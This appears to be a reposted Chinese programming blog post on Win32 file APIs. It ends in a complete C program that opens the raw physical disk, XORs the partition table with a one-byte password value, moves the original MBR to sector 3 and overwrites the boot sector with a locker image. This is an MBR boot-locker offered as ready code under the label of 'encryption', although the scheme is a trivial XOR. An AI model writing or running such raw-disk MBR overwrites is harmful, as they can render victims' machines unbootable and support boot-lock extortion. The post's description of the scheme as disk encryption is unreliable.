硬盘加密相关函数

Posted coolcpp

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了硬盘加密相关函数相关的知识,希望对你有一定的参考价值。

1、 GetPrivateProfileString()

功能:为初始化文件中指定的条目取得字串
函数原型:

DWORD GetPrivateProfileString(
  LPCTSTR lpAppName,        // 指定想要查找条目的名称
  LPCTSTR lpKeyName,        // 指定想要获取的项名或条目名
  LPCTSTR lpDefault,        // 指定的条目没有时返回的默认值
  LPTSTR lpReturnedString,  // 指定一个字串缓冲区
  DWORD nSize,              // 指定缓冲区大小
  LPCTSTR lpFileName        // 初始化文件名字
);

使用:

GetPrivateProfileStringA("Locker","psw","hello",keys,256,".\Config.ini");



2、 CreateFile()

具体关于Windows文件的操作可参考:Windows文件操作

功能:可打开或创建以下对象,并返回可访问的句柄:

  • 文件
  • 管道
  • 控制台
  • 通信资源
  • 目录(只读打开)
  • 磁盘驱动器
  • 邮槽

函数原型:

HANDLE CreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
);

使用:

hFile = CreateFileA("\\.\\physicaldrive0",
        GENERIC_READ,
        FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);



3、 SetFilePointer()

功能:说明在一个文件中设置当前的读取位置
返回值:返回一个新位置,采用从文件起始处开始算起的一个字节偏移量。

函数原型:

DWORD SetFilePointer(
  HANDLE hFile,          // handle of file
  LONG lDistanceToMove,  // number of bytes to move file pointer
  PLONG lpDistanceToMoveHigh,
                         // pointer to high-order DWORD of 
                         // distance to move
  DWORD dwMoveMethod     // how to move
);

使用:

HANDLE hFile = NULL;
int offset = 0;
hFile = CreateFileA("\\.\\physicaldrive0",
        GENERIC_READ,
        FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile==INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL,"不能打开 \\.\\physicaldrive0..","Error",MB_OK | MB_ICONERROR);
        return 0;
    }
SetFilePointer(hFile,offset,0,0);



4、 ReadFile()

功能:从文件指针指向的位置开始将数据读出到一个文件中,且支持同步和异步操作。
与fread函数相比,这个函数要明显灵活的多。该函数能够操作通信设备、管道、套接字以及邮槽。

函数原型:

BOOL ReadFile(
  HANDLE hFile,                // 文件句柄
  LPVOID lpBuffer,             // 保存数据的缓冲区
  DWORD nNumberOfBytesToRead,  // 要读入的字节数
  LPDWORD lpNumberOfBytesRead, // 指向实际读取字节数的指针
  LPOVERLAPPED lpOverlapped    // pointer to structure for data
);



5、WriteFile()

功能:可以将一个数据写入一个文件
与fwrite相比,这个函数要明显灵活的多。该函数能够操作通信设备、管道、套接字以及邮槽。

函数原型:

BOOL WriteFile(
  HANDLE hFile,                    // 文件句柄
  LPCVOID lpBuffer,                // 指向将写入文件的数据缓冲区
  DWORD nNumberOfBytesToWrite,     // 要写入的字节数
  LPDWORD lpNumberOfBytesWritten,  // 实际写入文件的字节数
  LPOVERLAPPED lpOverlapped        // pointer to structure for overlapped I/O
);

实例代码:

#include <windows.h>
#include "bin.h"
#define cryptFlag 445

int ReadDisk(int Id,int num,unsigned char *buffer);
int WriteDisk(int Id,int num,unsigned char* buffer);

int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
    char keys[256]={0};        //buffer,缓冲区,用来保存ini配置文件里面输入的密码
    unsigned char mbr[512]={0};    //用于保存从硬盘MBR里面读取出来的原始的MBR信息的
    unsigned char len;//255 
    int i = 0;

    GetPrivateProfileStringA("Locker","psw","left",keys,256,".\Config.ini");
    len = strlen(keys);
    if (len==0 || len>=18)
    {
        MessageBoxA(NULL,"错误!密码长度建议控制在0-18内..","Error",MB_OK | MB_ICONERROR);
        exit(-1);
    }
    byte XResult=0;                //密码异或值
    for (i= 0; i < len; ++i)
        XResult^=keys[i];

    if(ReadDisk(0,1,mbr)==0)
    {
        MessageBoxA(NULL,"Read MBR failed!","Error",MB_OK | MB_ICONERROR);
        exit(-1);
    }

    if (mbr[cryptFlag] == 0x16)
    {
        MessageBoxA(NULL,"错误!硬盘已加锁,请不要重复加锁操作..","Error",MB_OK | MB_ICONERROR);
        exit(-1);
    }
    mbr[cryptFlag] = 0x16;
    for (i = 0; i < 64; ++i)
        mbr[446+i]^=XResult;
    WriteDisk(2,1,mbr);//将原始引导程序保存到第3扇区
    memcpy(lock_disk+cryptFlag,mbr+cryptFlag,67);
    WriteDisk(0,1,lock_disk);//写入加密的MBR
    //MessageBoxA(NULL,"恭喜你加锁成功了!!!
请不要重复加锁!
","Success",MB_OK | MB_ICONINFORMATION);
    return 0;
}

int ReadDisk(int Id,int num,unsigned char *buffer)
{
    /*
    读取扇区
    id = ID号
    num = 读取数量
    成功返回读取字节数
    */
    HANDLE hFile=NULL;
    int offset=0;
    int ReadSize=0;
    DWORD Readed=0;
    offset = Id*512;
    ReadSize = num*512;
    if (buffer==NULL)
    {
        return ReadSize;
    }
    hFile = CreateFileA("\\.\\physicaldrive0",
        GENERIC_READ,
        FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,NULL);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL,"不能打开 \\.\\physicaldrive0..","Error",MB_OK | MB_ICONERROR);
        return 0;
    }
    SetFilePointer(hFile,offset,0,0);
    ReadFile(hFile,buffer,ReadSize,&Readed,NULL);
    CloseHandle(hFile);
    return Readed;
}

int WriteDisk(int Id,int num,unsigned char* buffer)
{
    /*
    写扇区
    */
    HANDLE hFile = NULL;
    int WriteSize = 0;
    int offset = 0;
    DWORD Writed = 0;
    offset = Id*512;
    WriteSize = num*512;
    if (buffer==NULL)
    {
        return WriteSize;
    }
    //Open it
    hFile = CreateFileA("\\.\\physicaldrive0",1073741824, 1, 0, 3, 128, 0);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL,"不能打开 \\.\\physicaldrive0..","Error",MB_OK | MB_ICONERROR);
        return 0;
    }
    SetFilePointer (hFile, offset, 0, 0);
    WriteFile(hFile,buffer,WriteSize,&Writed,0);
    CloseHandle(hFile);
    return WriteSize;
}








以上是关于硬盘加密相关函数的主要内容,如果未能解决你的问题,请参考以下文章

硬盘涨价 竟然也是挖矿导致的?

php基于openssl相关函数的签名加密解密验证等操作技巧

如何打包发布加密的 Python 源代码

SHA-256 加密 php 有相关的函数吗

MD5加密算法原理(含代码)以及SHA算法相关信息

Laravel基本使用